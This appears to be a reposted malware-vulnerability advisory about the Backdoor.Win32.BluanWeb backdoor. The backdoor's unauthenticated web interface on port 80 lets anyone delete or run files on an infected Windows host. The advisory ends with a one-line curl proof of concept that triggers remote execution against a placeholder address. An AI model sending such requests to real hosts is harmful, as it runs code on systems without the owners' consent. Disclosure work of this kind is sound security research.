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Edit Report

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022030019

Below is a copy:

Backdoor.Win32.BluanWeb / Unauthenticated Remote Code Execution
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/30903ccbc6747c0da5a2775884b78def.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.BluanWeb
Vulnerability: Unauthenticated Remote Code Execution
Description: The malware "BlueAngel For WebServer" by "leonshoh" listens on TCP port 80. The malware provides an HTML web-interface that exposes the entire system and creates HTML links to delete or run programs.

E.g.

[$Recycle.Bin]
[Boot]
bootmgr   [ ]  []
BOOTNXT   [ ]  []
BOOTSECT.BAK   [ ]  []
[Documents and Settings]
[dump]
pagefile.sys   [ ]  []
[PerfLogs]
[Program Files]
[Program Files (x86)]
[ProgramData]
[Recovery]
swapfile.sys   [ ]  []
[System Volume Information]
[Users]
[Windows]

Translated from Chinese:

bootmgr [delete] [run]
BOOTNXT [delete] [run]
BOOTSECT.BAK [delete] [run]
[Documents and Settings]
[dump]
pagefile.sys [delete] [run]
[PerfLogs]
[Program Files]
[Program Files (x86)]
[ProgramData]
[Recovery]
swapfile.sys [delete] [run]

The HREF is like "run_EXECUTABLE". Third-party attackers who can reach infected hosts can make HTTP GET request appending any executable name.

Family:BluanWeb
Type: PE32
MD5: 30903ccbc6747c0da5a2775884b78def
Vuln ID: MVID-2022-0504
Disclosure: 03/03/2022


Exploit/PoC:
curl http://x.x.x.x/run_3rd_party_malware


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